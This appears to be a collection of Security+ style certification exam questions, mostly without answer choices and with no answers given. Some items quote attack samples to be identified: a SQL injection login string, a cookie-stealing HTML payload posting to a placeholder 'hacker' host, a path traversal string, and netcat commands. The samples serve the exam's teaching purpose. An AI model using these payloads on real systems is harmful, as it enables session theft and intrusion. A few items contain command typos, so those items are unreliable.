An auditor recommends implementing a physical security access control that will allow a guard to isolate and screen users before they enter or exit a secure area. Which of the following would be BEST fulfill this recommendation?

A company is deploying a file-sharing protocol across a network and needs to select a protocol for authenticating clients. Management requests that the service be configured in the most secure way possible. The protocol must also be capable of mutual authentication, and support SSO and smart card logons. Which of the following would BEST accomplish this task?

Which of the following is being described when a security professional develops and publishes a password policy specifically tailored to a company, and enforces the policy through technical means?

Which of the following enables sniffing attacks against a switched network?

A security administrator is choosing an algorithm to generate password hashes. Which of the following would offer the BEST protection against offline brute force attacks?

A security analyst finished drafting an official response to a security assessment report, which must be sent to the head of the auditing department. The security analyst needs to assure the head of the auditing department that the response came from the security analyst, and the contents of the response must be kept confidential. Which of the following are the last steps the security analyst should perform prior to electronically sending the message?

A. Hash the message.
B. Encrypt the message
C. Digitally sign the message.
D. Label the email as "Confidential."
E. Perform key exchange with the recipient.

A company's new policy allows employees to connect to corporate email using BYOD. Since employees handle client information in their corporate email, which of the following should the company implement with BYOD?

A. Enable rooting of the devices.
B. Assign passwords and PINs to the devices.
C. Disable remote wipe.
D. Enable full-device encryption.
E. Disable the devices' ability to connect to open networks.
F. Allow third-party app stores.

A systems administrator is configuring a new network for TACACS+ management and authentication. Which of the following must be configured to provide authentication between the switch and the TACACS+ server?

University A offers an AAA-based SSO service that allows students to access all wireless and VPN services with the standard university credentials. University A wants to partner with University B to allow its students who are taking classes at University B to sign into either university's wireless network and VPN services with their home university credentials. Which of the following should be implemented to achieve the desired results?

While browsing an external website, a human resources manager opens several links in new browser tabs to review later. After browsing for 20 minutes, a full-screen message appears in a completely new browser window with a critical error code and a help desk number to call. At the same time, an audio message plays over the laptop speaker, describing a critical error and warning that the IP address of the laptop will be locked until the critical issue is resolved. The human resources manager is unable to escape out of the error message, and the keyboard is not responsive. After alerting the security team, the human resources manager hold down the power button to turn off the laptop and then power it back on which rectifies the issue. Which of the following BEST describes the type of attack the human resources manager is experiencing?

During a penetration test, some servers in the network were found to be using Telnet as a remote connection protocol. Which of the following would mitigate the identified risk?

A call center company wants to implement a domain policy primarily for its shift workers. The call center has large groups with different user roles. Management wants to monitor group performance. Which of the following is the BEST solution for the company to implement?

Which of the following BEST explains why an application team might take a VM snapshot before applying patches in the production environment?

Hacktivists are most commonly motivated by:

An organization's IT department announced plans to upgrade workstation operating systems to the latest version after electing to skip the prior two versions. Which of the following vulnerabilities is the organization seeking to mitigate?

An analyst is part of a team that is investigating a potential breach of sensitive data at a large organization, which services the financial sector. The organization suspects a breach occurred when proprietary data was disclosed to the public. The team finds servers were accessed using shared credentials that have been in place for some time. In addition, the team discovers undocumented firewall rules, which provided unauthorized external access to a server. Suspecting the activities of a malicious insider threat, which of the following was MOST likely to have been utilized to exfiltrate the proprietary data?

Users from two organizations, each with its own PKI, need to begin working together on a joint project. Which of the following would allow the users of the separate PKIs to work together without connection errors?

Which of the following controls allows a security guard to perform a post-incident review?

A public announcement is made about a newly discovered, rapidly spreading virus.The security team immediately updates and applies all it's antivirus signatures. The security manager contacts the antivirus vendor support team to ask why one of the systems was infected. The vendor support team explains that a signature update is not available for this virus yet. Which of the following BEST describes this situation?

A law office has been leasing dark fiber from a local telecommunications company to connect a remote office to company headquarters. The telecommunications company has decided to discontinue its dark fiber product and is offering an MPLS (Multi-Protocol Label Switching) connection, which the law office feels is too expensive. Which of the following is the BEST solution for the law office?

Due to a configuration error, sales and marketing staff were able to access highly sensitive, commercial R&D information for a period of five days before the issue was discovered by an automated system, corrected, and flagged for review. Inspection of logs and monitoring systems by security analysts indicated that no sensitive data was accessed. Based on this scenario, which of the following should a risk manager be MOST concerned about?

Logs from an IDS alerted on a string entered into the company's website login page. The following line was pulled from the HTTP POST request.

userid=bob' and 1='1&request=Submit

Which of the following was attempted?

Students at a residence hall are reporting Internet connectivity issues. The university's network administrator configured the residence hall's network to provide public IP addresses to all connected devices, but many student devices are receiving private IP addresses due to rogue devices. The network administrator verifies the residence hall's network is correctly configured and contacts the security administrator for help. Which of the following configurations should the security administrator suggest for implementation?

A technician has discovered a crypto-virus infection on a workstation that has access to sensitive remote resources. Which of the following is the immediate NEXT step the technician should take?

Which of the following is a random value appended to a credential that makes the credential less susceptible to compromise when hashed?

A security engineer must install the same X.509 certification on servers in three different domains. The client application that connects to the server performs a check to ensure the certificate matches the hostname. Which of the following should the security engineer use?

Which of the following would an online retailer consider when selecting a backup facility, should there be a natural disaster that destroys its existing production datacenter?

An organization's Chief Information Officer (CIO) recently received an email from human resources that contained sensitive information. The CIO noticed the email was sent via unsecure means. A policy has since been put into place stating all emails must be transmitted using secure technologies. Which of the following should be implemented to address the new policy?

A company wishes to move all of its services and applications to a cloud provider but wants to maintain full control of the deployment access provisions of its services. Which of the following BEST represents the required cloud deployment model?

A security administrator wants to audit the login page of a newly developed web application to determine if default accounts have been disabled. Which of the following is BEST suited to perform this audit?

Performing a penetration test without any advance knowledge of what will be found is an example of a:

A technician wants to perform network enumeration against a subnet in preparation for an upcoming assessment. During the first phase, the technician performs a ping sweep. Which of the following scan types did the technician use?

A developer wants to use an open source, third-party plug-in. The developer downloads the plug-in from the provider's website and from a mirror site that runs the files through an integrity-checking hash. The output of each file is shown below:

fileA: BA411c782AD521740123456789ABCDEF
fileB: BA411c782AD521740123456789ABCDEF

Which of the following statements BEST summarizes what conclusion the developer can draw from the above results?

A penetration tester is assessing a large organization and obtains a valid set of basic user credentials from a compromised computer. Which of the following is the MOST likely to occur?

A security technician has been the task of preserving emails that are potentially involved in a dispute between a company and a contractor. Which of the following BEST describes this forensic concept?

Which of the following is a penetration tester performing when running an SMB (Server Message Block) NULL session scan of a host to determine valid usernames and share names?

Which of the following encryption algorithms is used primarily to secure data at rest?

A security engineer implements multiple technical measures to secure an enterprise network. The engineer also works with the Chief Information Officer (CIO) to implement policies to govern user behavior. Which of the following is the security engineer executing?

A security administrator is reviewing the following firewall configuration after receiving reports that users are unable to connect to remote websites:

10 PERMIT FROM:ANY TO:ANY PORT:80
20 PERMIT FROM: ANY TO:ANY PORT 443
30 DENY FROM:ANY TO:ANY PORT:ANY

Which of the following is the MOST secure solution the security administrator can implement to fix this issue?

Which of the following BEST explains why sandboxing is a best practice for testing software from an untested vendor prior to an enterprise deployment?

A systems administrator has implemented multiple websites using host headers on the same server. The server hosts two websites that require encryption and other websites where encryption is optional. Which of the following should the administrator implement to encrypt web traffic for the required websites?

A security analyst is reviewing the password policy for a service account that is used for a critical network service. The password policy for this account is as follows:

Enforce password history: 3 passwords remembered
Maximum password age: 30 days
Minimum password age: 0 days
Complexity requirements: At least 1 special character, 1 uppercase
Minimum password length: 7 characters
Lockout duration: 1 day
Lockout threshold: 5 failed attempts in 15 minutes

Which of the following adjustments would be MOST appropriate for the service account?

While investigating a virus infection, a security analyst has discovered the following on an employee laptop:

- Multiple folders containing a large number of newly released movies and music files
- Proprietary company files
- A large amount of PHI data
- Unapproved FTP software
- Documents that appear to belong to a competitor

Which of the following should the analyst do FIRST?

A penetration testing team deploys a specifically crafted payload to a web server, which results in opening a new session as the web server daemon. The session has full read/write access to the file system and the admin console. Which of the following BEST describes the attack?

A company that processes sensitive information has implemented a BYOD (Bring Your Own Device) policy and an MDM (Mobile Device Management) solution to secure sensitive data that is processed by corporate and personally owned mobile devices. Which of the following should the company implement to prevent sensitive data from being stored on mobile devices?

A Chief Information Security Officer (CISO) asks the security architect to design a method for contractors to access the company's internal network securely without allowing access to systems beyond the scope of their project. Which of the following methods would BEST fit the needs of the CISO?

During a lessons learned meeting regarding a previous incident, the security team receives a follow-up action item with the following requirements:

- Allow authentication from within the United States anytime
- Allow authentication if the user is accessing email or a shared file system.
- Do not allow authentication if the AV program is two days out of date
- Do not allow authentication if the location of the device is in two specific countries

Given the requirements, which of the following mobile deployment authentication types is being utilized?

A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN. Which of the following commands should the security administrator implement within the script to accomplish this task?

Which of the following is the BEST reason for salting a password hash before it is stored in a database?

An organization wants to utilize a common, Internet-based third-party provider for authorization and authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of the following technologies is the provider referring?

A penetration tester harvests potential usernames from a social networking site. The penetration tester then uses social engineering to attempt to obtain associated passwords to gain unauthorized access to shares on a network server. Which of the following methods is the penetration tester MOST likely using?

Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time?

A web developers improves client access to the company's REST API. Authentication needs to be tokenized but not expose the client's password. Which of the following methods would BEST meet the developer's requirements?

A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and registry values known to be associated with system vulnerabilities. Which of the following BEST describes the type of scan being performed?

The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems. The help desk is receive reports that users are experiencing the following error when attempting to log in to their previous system:

Logon Failure: Access Denied

Which of the following can cause this issue?

Users in a corporation currently authenticate with a username and password. A security administrator wishes to implement two-factor authentication to improve security. Which of the following authentication methods should be deployed to achieve this goal?

An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using?

Which of the following is commonly done as part of a vulnerability scan?

A technician suspects that a system has been compromised. The technician reviews the following log entry:

WARNING - hash mismatch: C:\Window\SysWOW64\user32.dll
WARNING - hash mismatch: C:\Window\SysWOW64\kernel32.dll

Based solely on the above information, which of the following types of malware is MOST likely installed on the system?

As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this?

A web server, which is configured to use TLS with AES-GCM-256, SHA-384, and ECDSA, recently suffered an information loss breach. Which of the following is MOST likely the cause?

An incident involving a workstation that is potentially infected with a virus has occurred. The workstation may have sent confidential data to an unknown internet server. Which of the following should a security analyst do FIRST?

Which of the following BEST describes an important security advantage yielded by implementing vendor diversity?

A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one of the hard drives. The company then discovers its information is posted online. Which of the following methods would have MOST likely prevented the data from being exposed?

A member of the admins group reports being unable to modify the "changes" file on a server. The permissions on the file are as follows:

Permissions User Group File
-rwxrw-r--+ Admins Admins changes

Based on the output above, which of the following BEST explains why the user is unable to modify the "changes" file?

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

c:\nslookup -querytype=MX comptia.org
Server: Unknown
Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33
comptia.org MX preference=20, mail exchanger = exchg1.comptia.org
exchg1.comptia.org internet address = 192.168.102.67

Which of the following should the penetration tester conclude about the command output?

A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability:

Title: Remote Command Execution vulnerability in web server
Rating: Critical (CVSS 10.0)
Threat actor: any remote user of the web server
Confidence: certain
Recommendation: apply vendor patches

Which of the following actions should the security analyst perform FIRST?

Company A agrees to provide perimeter protection, power, and environmental support with measurable goals for Company B, but will not be responsible for user authentication or patching of operating systems within the perimeter. Which of the following is being described?

A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk?

The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?

An organization has several production-critical SCADA (System Control and Data Acquisition) supervisory systems that cannot follow the normal 30- day patching policy. Which of the following BEST maximizes the protection of these systems from malicious
software?

An organization identifies a number of hosts making outbound connections to a known malicious IP over port TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP. Which of the following should the organization do to achieve this outcome?

Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?

A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST?

During a routine vulnerability assessment, the following command was successful:

echo "vrfy 'perl -e 'print "hi" x 500 ' ' " | nc www.company.com 25

Which of the following vulnerabilities is being exploited?

A company offers SaaS, maintaining all customers' credentials and authenticating locally. Many large customers have requested the company offer some form of federation with their existing authentication infrastructures. Which of the following would allow customers to manage authentication and authorizations from within their existing organizations?

A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?

Following the successful response to a data-leakage incident, the incident team lead facilitates in an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed?

A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use. After network enumeration, the analyst's NEXT step is to perform:

A security architect has convened a meeting to discuss an organization's key management policy. The organization has a reliable internal key management system, and some argue that it would be best to manage the cryptographic keys internally as opposed to using a solution from a third party. The company should use:

After a recent internal breach, a company decided to regenerate and reissue all certificates used in the transmission of confidential information. The company places the greatest importance on confidentiality and non-repudiation, and decided to generate dual key pairs for each client. Which of the following BEST describes how the company will use these certificates?

A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an encrypted wireless network. Which of the following should be implemented if the administrator does not want to provide the wireless password or certificate to the employees?

A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a requirement for this configuration?

Ann is the IS manager for several new systems in which the classification of the systems' data are being decided. She is trying to determine the sensitivity level of the data being processed. Which of the following people should she consult to determine the data classification?

A systems administrator wants to generate a self-signed certificate for an internal website. Which of the following steps should the systems administrator complete prior to installing the certificate on the server?

A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of users jailbreaking mobile devices?

Which of the following describes the key difference between vishing and phishing attacks?

Which of the following should a security analyst perform FIRST to determine the vulnerabilities of a legacy system?

A hacker has a packet capture that contains:

....Joe Smith.........E289F21CD33E4F57890DDEA5CF267ED2..
...Jane.Doe...........AD1FAB10D33E4F57890DDEA5CF267ED2..
....John.Key..........3374E9E7E33E4F57890DDEA5CF267ED2..

Which of the following tools will the hacker use against this type of capture?

A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?

An attacker exploited a vulnerability on a mail server using the code below.

<HTML><body
onload=document.location.replace ('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" +"document.location) ; />
</body>
</HTML>

Which of the following BEST explains what the attacker is doing?

A security analyst is securing smartphones and laptops for a highly mobile workforce. Priorities include:

- Remote wipe capabilities
- Geolocation services
- Patch management and reporting
- Mandatory screen locks
- Ability to require passcodes and pins
- Ability to require encryption

Which of the following would BEST meet these requirements?

A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the domain controller, the systems administrator needs to provide the domain administrator credentials. Which of the following account types is the systems administrator using?

An organization plans to implement multifactor authentication techniques within the enterprise network architecture. Each authentication factor is expected to be a unique control. Which of the following BEST describes the proper employment of multifactor authentication?

Multiple organizations operating in the same vertical want to provide seamless wireless access for their employees as they visit the other organizations. Which of the following should be implemented if all the organizations use the native 802.1x client on their mobile devices?

Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a market edge and reduce time to market?

Which of the following differentiates a collision attack from a rainbow table attack?

A security technician has been receiving alerts from several servers that indicate load balancers have had a significant increase in traffic. The technician initiates a system scan. The scan results illustrate that the disk space on several servers has reached capacity. The scan also indicates that incoming internet traffic to the servers has increased. Which of the following is the MOST likely cause of the decreased disk space?

Which of the following is used to validate the integrity of data?

When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following "----- as a service" model that would be BEST suited for this goal?

A company was recently audited by a third party. The audit revealed the company's network devices were transferring files in the clear. Which of the following protocols should the company use to transfer files?

A cybersecurity analyst is looking into the payload of a random packet capture file that was selected for analysis. The analyst notices that an internal host had a socket established with another internal host over a non-standard port. Upon investigation, the origin host that initiated the socket shows this output:

usera@host>history
mkdir /local/usr/bin/somedirectory
nc -1 192.168.5.1 -p 9856
ping -c 30 8.8.8.8 -a 600
rm /etc/dir2/somefile
rm -rm /etc/dir2/
traceroute 8.8.8.8
pakill pid 9487
usera@host>

Given the above output, which of the following commands would have established the questionable socket?

To help prevent one job role from having sufficient access to create, modify, and approve payroll data, which of the following practices should be employed?

The help desk received a call after hours from an employee who was attempting to log into the payroll server remotely. When the help desk returned the call the next morning, the employee was able to log into the server remotely without incident. However, the incident occurred again the next evening. Which of the following BEST describes the cause of the issue?

A home invasion occurred recently in which an intruder compromised a home network and accessed a WiFI-enabled baby monitor while the baby's parents were sleeping. Which of the following BEST describes how the intruder accessed the monitor?

Which of the following refers to the mean time used to restore a system to its operational state?

A Chief Information Officer (CIO) recently saw on the news that a significant security flaws exists with a specific version of a technology the company uses to support many critical application. The CIO wants to know if this reported vulnerability exists in the organization and, if so, to what extent the company could be harmed. Which of the following would BEST provide the needed information?

Which of the following would provide additional security by adding another factor to a smart card?

A security analyst receives an alert from a WAF (Web Application Firewall) with the following payload:

var data = "<test test test> ++ <../../../../../../etc/passwd>"

Which of the following types of attacks is this?

Which of the following uses precomputed hashes to guess passwords?

A systems administrator wants to provide balance between the security of a wireless network and usability. The administrator is concerned with wireless encryption compatibility of older devices used by some employees. Which of the following would provide strong security backward compatibility when accessing the wireless network?

In determining when it may be necessary to perform a credentialed scan against a system instead of a non-credentialed scan, which of the following requirements is MOST likely to influence its decisions?

A security administrator receives an alert from a third-party vendor that indicates a certificate that was installed in the browser has been hijacked at the root of a small public CA. The security administrator knows there are at least four different browsers in use on more than a thousand computers in the domain worldwide. Which of the following solutions would be BEST for the security administrator to implement to most efficiently assist with this issue?

After a user reports slow computer performance, a systems administrator detects a suspicious file, which was installed as part of a freeware software package. The systems administrator reviews the output below:

c:\Windows\system32>netstat -nab
Active Connections
Pronto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0 RpcSs [svchoat.exe]
TCP 0.0.0.0:445 0.0.0.0 [svchost.exe]
TCP 192.168.1.10:5000 10.37.213.20 winserver.exe
UDP 192.168.1.10:1900 *.* SSDPSVR

Based on the above information, which of the following types of malware was installed on the user's computer?

A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?

Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a flight, Joe, decides to connect to the airport wireless network without connecting to a VPN, and the sends confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused the data breach?

A company wants to ensure confidential data from storage media is sanitized in such a way that the drive cannot be reused. Which of the following method should the technician use?

An incident response manager has started to gather all the facts related to a SIEM alert showing multiple systems may have been compromised. The manager has gathered these facts:

- The breach is currently indicated on six user PCs
- One service account is potentially compromised
- Executive management has been notified

In which of the following phases of the IRP is the manager currently working?

A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?

User from two organizations, each with its own PKI, need to begin working together on a joint project. Which of the following would allow the users of the separate PKIs to work together without connection errors?

A security analyst is migrating a pass-the-hash vulnerability on a Windows infrastructure. Given the requirement, which of the following should the security analyst do to MINIMIZE the risk?

A security analyst is reviewing an assessment report that includes software versions, running services, supported encryption algorithms, and permission settings. Which of the following produced the report?

A Chief Information Officer (CIO) asks the company's security specialist if the company should spend any funds on malware protection for a specific server. Based on a risk assessment, the ARO (Annualized Rate of Occurrence) value of a malware infection for a server is 5 and the annual cost for the malware protection is $2500 (Single Loss Expectancy). Which of the following SLE values warrants a recommendation against purchasing the malware protection?

The computer resource center issue smartphones to all first-level and above managers. The managers have the ability to install mobile tools. Which of the following tools should be implemented with the type of tools the managers installed?

A systems administrator wants to provide for and enforce wireless access accountability during events where external speakers are invited to make presentations to a mixed audience of employees and non-employees. Which of the following should the administrator implement?

A recent internal audit is forcing a company to review each internal business unit's VMs because the cluster they are installed on is in danger of running out of computer resources. Which of the following vulnerabilities exist?

Two users must encrypt and transmit large amounts of data between them. Which of the following should they use to encrypt and transmit the data?

A security engineer wants to implement a site-to-site VPN that will require SSL certificates for mutual authentication. Which of the following should the engineer implement if the design requires client MAC addresses to be visible across the tunnel?

An application was recently compromised after some malformed data came in via web form. Which of the following would MOST likely have prevented this?

While working on an incident, Joe, a technician, finished restoring the OS and applications on a workstation from the original media. Joe is about to begin copying the user's files back onto the hard drive. Which of the following incident response steps is Joe working on now?

A systems administrator found a suspicious file in the root of the file system. The file contains URLs, usernames, passwords, and text from other documents being edited on the system. Which of the following types of malware would generate such a file?

A computer emergency response team is called at midnight to investigate a case in which a mail server was restarted. After an initial investigation, it was discovered that email is being exfiltrated through an active connection. Which of the following is the NEXT step the team should take?

A remote intruder wants to take inventory of a network so exploits can be researched. The intruder is looking for information about software versions on the network. Which of the following techniques is the intruder using?

A company has a data classification system with definitions for "Private" and "Public". the company's security policy outlines how data should be protected based on type. The company recently added data type "Proprietary". Which of the following is the MOST likely reason the company added this data type?

A security technician is configuring an access management system to track and record user actions. Which of the following functions should the technician configure?

A security administrator installed a new network scanner that identifies new host systems on the network. Which of the following did the security administrator install?

A Chief Information Officer (CIO) has decided it is not cost effective to implement safeguards against a known vulnerability. Which of the following risk responses does this BEST describe?

An audit takes place after company-wide restructuring, in which several employees changed roles. The following deficiencies are found during the audit regarding access to confidential data.

Employee Job Function Audit Finding
Ann Sales Manager *Access to confidential payroll shares
*Access to payroll processing program
*Access to marketing shares

Jeff Marketing Director *Access to human resources annual review folder
*Access to shared human resources mailbox
John Sales Manager *Active account
*Access to human resources annual review folder
*Access to confidential payroll shares

Which of the following would be the BEST method to prevent similar audit finding in the future?

A technician is investigating a potentially compromised device with the following symptoms:

Browser slowness
Frequent browser crashes
Hourglass stuck
New search toolbar
Increased memory consumption

Which of the following types of malware has infected the system?

A penetration tester has written an application that performs a bit-by-bit XOR 0xFF operation on binaries prior to transmission over untrusted media. Which of the following BEST describes the action performed by this type of application?

A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in their browsers when connecting to one of the networks. Both captive portals are using the same server certificate for authentication, but the analyst notices the following differences between the two certificate details:

Certificate 1
Certificate Path:
Geotrust Global CA
*company.com

Certificate 2
Certificate Path:
*company.com

Which of the following would resolve the problem?

An organization's employees currently use three different sets of credentials to access multiple internal resources. Management wants to make this process less complex. Which of the following would be the BEST option to meet this goal?

An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks is described?

A systems administrator has isolated an infected system from the network and terminated the malicious process from executing. Which of the following should the administrator do NEXT according to the incident response process?

A new security administrator ran a vulnerability scanner for the first time and caused a system outage. Which of the following types of scans MOST likely caused the outage?

A security analyst is hardening a WiFi infrastructure. The primary requirements are the following:

The infrastructure must allow staff to authenticate using the most secure method.
The infrastructure must allow guests to use an "open" WiFi network that logs valid email addresses before granting access to the Internet.

Given these requirements, which of the following statements BEST represents what the analyst should recommend and configure?

A security administrator is trying to eradicate a worm, which is spreading throughout the organization, using an old remote vulnerability in the SMB protocol. The worm uses Nmap to identify target hosts within the company. The administrator wants to implement a solution that will eradicate the current worm and any future attacks that may be using zero-day vulnerabilities. Which of the following would BEST meet the requirements when implemented?

Which of the following is a deployment concept that can be used to ensure only the required OS access is exposed to software applications?

Which of the following types of penetration test will allow the tester to have access only to password hashes prior to the penetration test?

Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?

A business sector is highly competitive, and safeguarding trade secrets and critical information is paramount. On a seasonal basis, an organization employs temporary hires and contractor personnel to accomplish its mission objectives. The temporary and contract personnel require access to network resources only when on the clock. Which of the following account management practices are the BEST ways to manage these
accounts?